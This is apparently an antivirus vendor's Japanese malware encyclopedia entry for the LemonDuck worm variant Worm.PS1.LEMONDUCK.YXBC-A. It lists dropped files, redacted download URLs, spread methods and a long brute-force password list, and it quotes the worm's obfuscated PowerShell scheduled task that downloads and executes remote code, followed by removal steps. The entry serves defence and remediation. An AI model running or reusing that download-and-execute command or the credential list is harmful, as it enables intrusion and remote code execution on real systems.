解析者: Mc Justine De Guzman   
 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:

  • マルウェアタイプ:
    ワーム

  • 破壊活動の有無:
    なし

  • 暗号化:
    はい

  • 感染報告の有無 :
    はい

  概要

感染経路 インターネットからのダウンロード, 他のマルウェアからの作成

ワームは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

  詳細

ファイルサイズ 277,761 bytes
メモリ常駐 なし
発見日 2021年3月1日
ペイロード ファイルの作成

侵入方法

ワームは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

ワームは、以下のファイルを作成します。

  • {Removable Drive}:\Dblue3.lnk
  • {Removable Drive}:\Eblue3.lnk
  • {Removable Drive}:\Fblue3.lnk
  • {Removable Drive}:\Gblue3.lnk
  • {Removable Drive}:\Hblue3.lnk
  • {Removable Drive}:\Iblue3.lnk
  • {Removable Drive}:\Jblue3.lnk
  • {Removable Drive}:\Kblue3.lnk
  • {Removable Drive}:\blue3.bin
  • {Removable Drive}:\Dblue6.lnk
  • {Removable Drive}:\Eblue6.lnk
  • {Removable Drive}:\Fblue6.lnk
  • {Removable Drive}:\Gblue6.lnk
  • {Removable Drive}:\Hblue6.lnk
  • {Removable Drive}:\Iblue6.lnk
  • {Removable Drive}:\Jblue6.lnk
  • {Removable Drive}:\Kblue6.lnk
  • {Removable Drive}:\blue6.bin
  • {Removable Drive}:\UTFsync\inf_data -> serves as infection marker
  • {Removable Drive}:\readme.js
  • %User Temp%\mimi.dat

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。)

ワームは、以下のプロセスを追加します。

  • "%Windows%\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"%User Temp%{8 random characters}.cmdline"
  • %Windows%\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%User Temp%\RES{4 random numbers}.tmp" "%User Temp%\CSC{4 random numbers}.tmp"
  • "%System%\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
  • "%System%\NETSTAT.EXE" -anop TCP
  • "%System%ipconfig.exe" /all
  • "%System%ipconfig.exe" /displaydns
  • "%System%NETSTAT.EXE" -ano

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.)

その他

このワームのコードから、ワームは、以下の機能を備えています。

  • Connects to the following url to download a malicious file:
    • http://t.{BLOCKED}g.com/logic.jsp?0.9
    • http://t.{BLOCKED}g.com/logico.jsp?0.9
    • http://t.{BLOCKED}g.com/ipc.jsp?0.9
    • http://t.{BLOCKED}g.com/ipco.jsp?0.9
    • http://t.{BLOCKED}g.com/ipc.jsp?l_0.9
    • http://t.{BLOCKED}g.com/ms.jsp?0.9
    • http://t.{BLOCKED}g.com/mso.jsp?0.9
    • http://t.{BLOCKED}g.com/usb.jsp?js_0.9 -> is done by {Removable Drive}:\readme.js
    • http://t.{BLOCKED}g.com/ipc.jsp?bat_0.9
    • http://t.{BLOCKED}g.com/rdp.jsp
    • http://t.{BLOCKED}g.com/rdpo.jsp
    • http://t.{BLOCKED}g.com/ln/core.png?0.9 -> for linux systems
    • http://t.{BLOCKED}g.com/ln/core.png?rds -> for linux systems
    • http://t.{BLOCKED}g.com/ln/core.png?rdso -> for linux systems
    • http://t.{BLOCKED}g.com/smgh.jsp?0.9
    • http://d.{BLOCKED}9.com/knil.bin?v={Version}&r={number from 0-2}
    • http://d.{BLOCKED}9.com/mimi.dat?v={Version}&r={number from 1-3}
    • http://d.{BLOCKED}9.com/mm.bin -> if %User Temp%\mimi.dat doesn't exist
  • Open port scanning on the following:
    • SMB port
    • MSSQL port
    • SSH port
    • Redis port
    • Yarn port
    • Logic port
  • It is capable of propagating in the local network via the following means:
    • SMB Exploit
    • MS-SQL Brute forcing
    • Pass-The-Hash attack
    • RDP Brute forcing
  • Perform brute force attacks using the following credentials:
    • Username:
      • admin
      • administrator
    • Password:
      • saadmin
      • 123456
      • test1
      • zinch
      • g_czechout
      • asdf
      • Aa123456.
      • dubsmash
      • password
      • PASSWORD
      • .com
      • admin@123
      • Aa123456
      • qwer12345
      • Huawei@123
      • 123@abc
      • golden
      • 123!@#qwe
      • 1qaz@WSX
      • Ab123
      • 1qaz!QAZ
      • Admin123
      • Administrator
      • Abc123
      • Admin@123
      • 999999
      • Passw0rd
      • 123qwe!@#
      • football
      • welcome
      • 1
      • 12
      • 21
      • 123
      • 321
      • 1234
      • 12345
      • 123123
      • 123321
      • 111111
      • 654321
      • 666666
      • 121212
      • 000000
      • 222222
      • 888888
      • 1111
      • 555555
      • 1234567
      • 12345678
      • 123456789
      • 987654321
      • admin
      • abc123
      • abcd1234
      • abcd@1234
      • abc@123
      • p@ssword
      • P@ssword
      • p@ssw0rd
      • P@ssw0rd
      • P@SSWORD
      • P@SSW0RD
      • P@w0rd
      • P@word
      • iloveyou
      • monkey
      • login
      • passw0rd
      • master
      • hello
      • qazwsx
      • password1
      • Password1
      • qwerty
      • baseball
      • qwertyuiop
      • superman
      • 1qaz2wsx
      • fuckyou
      • 123qwe
      • zxcvbn
      • pass
      • aaaaaa
      • love
      • administrator
      • qwe1234A
      • qwe1234a
      • 123123123
      • 1234567890
      • 88888888
      • 111111111
      • 112233
      • a123456
      • 123456a
      • 5201314
      • 1q2w3e4r
      • qwe123
      • a123456789
      • 123456789a
      • dragon
      • sunshine
      • princess
      • !@#$%^&*
      • charlie
      • aa123456
      • homelesspa
      • 1q2w3e4r5t
      • sa
      • sasa
      • sa123
      • sql2005
      • sa2008
      • abc
      • abcdefg
      • sapassword
      • cV3TAa12345678
      • ABCabc123
      • sqlpassword
      • sql2008
      • 11223344
      • admin888
      • qwe1234
      • A123456
      • OPERADOR
      • Password123
      • test123
      • NULL
      • user
      • test
      • Password01
      • stagiaire
      • demo
      • scan
      • P@ssw0rd123
      • xerox
      • compta
  • It is capable of propagating in the local network via the following means:
    • SMB Exploit
    • MS-SQL Brute forcing
    • Pass-The-Hash attack
    • RDP Brute forcing

以下のスケジュールされたタスクを追加します：

  • Name: Rtsa
    • Action: 'powershell -c '\\\"t.{BLOCKED}g.com\\\",\\\"t.{BLOCKED}0.com\\\",\\\"t.{BLOCKED}9.com\\\"|foreach{I`EX(Ne`w-Obj`ect Net.WebC`lient).\\\"DownloadString\\\"(\\\"http://$_/{eb or ebo}.jsp?0.9*$env:username*$env:computername\\\")}'

  対応方法

対応検索エンジン: 9.800
初回 VSAPI パターンバージョン 16.598.03
初回 VSAPI パターンリリース日 2021年3月16日
VSAPI OPR パターンバージョン 16.599.00
VSAPI OPR パターンリリース日 2021年3月17日

手順 1

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム（OS）の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル／フォルダ／レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

スケジュールされたタスクを削除する

タスク削除の手順に含まれる{タスク名} - {実行するタスク}には以下が当てはまります。

  • Rtsa - 'powershell -c '\\\"t.{BLOCKED}g.com\\\",\\\"t.{BLOCKED}0.com\\\",\\\"t.{BLOCKED}9.com\\\"|foreach{I`EX(Ne`w-Obj`ect Net.WebC`lient).\\\"DownloadString\\\"(\\\"http://$_/{eb or ebo}.jsp?0.9*$env:username*$env:computername\\\")}'

Windows 2000、Windows XP、Windows Server 2003の場合：

  1. [スタート]→[プログラム]→[アクセサリ]→[システムツール]→[スケジュールされたタスク]をクリックして、スケジュールされたタスクを開きます。
  2. 上記の{タスク名} を、[名前]の欄に入力します。
  3. 入力した{タスク名} 持つファイルを右クリックします。
  4. [プロパティ]をクリックします。 [実行]フィールドで、表示されている{実行するタスク}を確認します。
  5. 上記の{実行するタスク}と文字列が一致するタスクを削除します。

Windows Vista、Windows 7、Windows Server 2008、Windows 8、Windows 8.1、およびWindows Server 2012の場合：

  1. Windowsタスクスケジューラを開きます。
    • Windows Vista、Windows 7、Windows Server 2008の場合、[スタート]をクリックし、[検索]フィールドに「taskchd.msc」と入力してEnterキーを押します。
    • Windows 8、Windows 8.1、Windows Server 2012の場合、画面の左下隅を右クリックし、[実行]をクリックし、「taskchd.msc」と入力してEnterキーを押します。
  2. 左側のパネルで、[タスクスケジューラライブラリ]をクリックします。
  3. 中央上部のパネルで、上記の{タスク名}を[名前]の欄に入力します。
  4. 中央下部のパネルで、[アクション]タブをクリックします。 [詳細]の欄で、{実行するタスク}を確認します。
  5. 文字列が一致するタスクを削除します。

手順 4

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性に設定されている場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。
  • {Removable Drive}:\Dblue3.lnk
  • {Removable Drive}:\Eblue3.lnk
  • {Removable Drive}:\Fblue3.lnk
  • {Removable Drive}:\Gblue3.lnk
  • {Removable Drive}:\Hblue3.lnk
  • {Removable Drive}:\Iblue3.lnk
  • {Removable Drive}:\Jblue3.lnk
  • {Removable Drive}:\Kblue3.lnk
  • {Removable Drive}:\blue3.bin
  • {Removable Drive}:\Dblue6.lnk
  • {Removable Drive}:\Eblue6.lnk
  • {Removable Drive}:\Fblue6.lnk
  • {Removable Drive}:\Gblue6.lnk
  • {Removable Drive}:\Hblue6.lnk
  • {Removable Drive}:\Iblue6.lnk
  • {Removable Drive}:\Jblue6.lnk
  • {Removable Drive}:\Kblue6.lnk
  • {Removable Drive}:\blue6.bin
  • {Removable Drive}:\UTFsync\inf_data
  • {Removable Drive}:\readme.js
  • %User Temp%\mimi.dat

手順 5

最新のバージョン（エンジン、パターンファイル）を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Worm.PS1.LEMONDUCK.YXBC-A」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


ご利用はいかがでしたか？　アンケートにご協力ください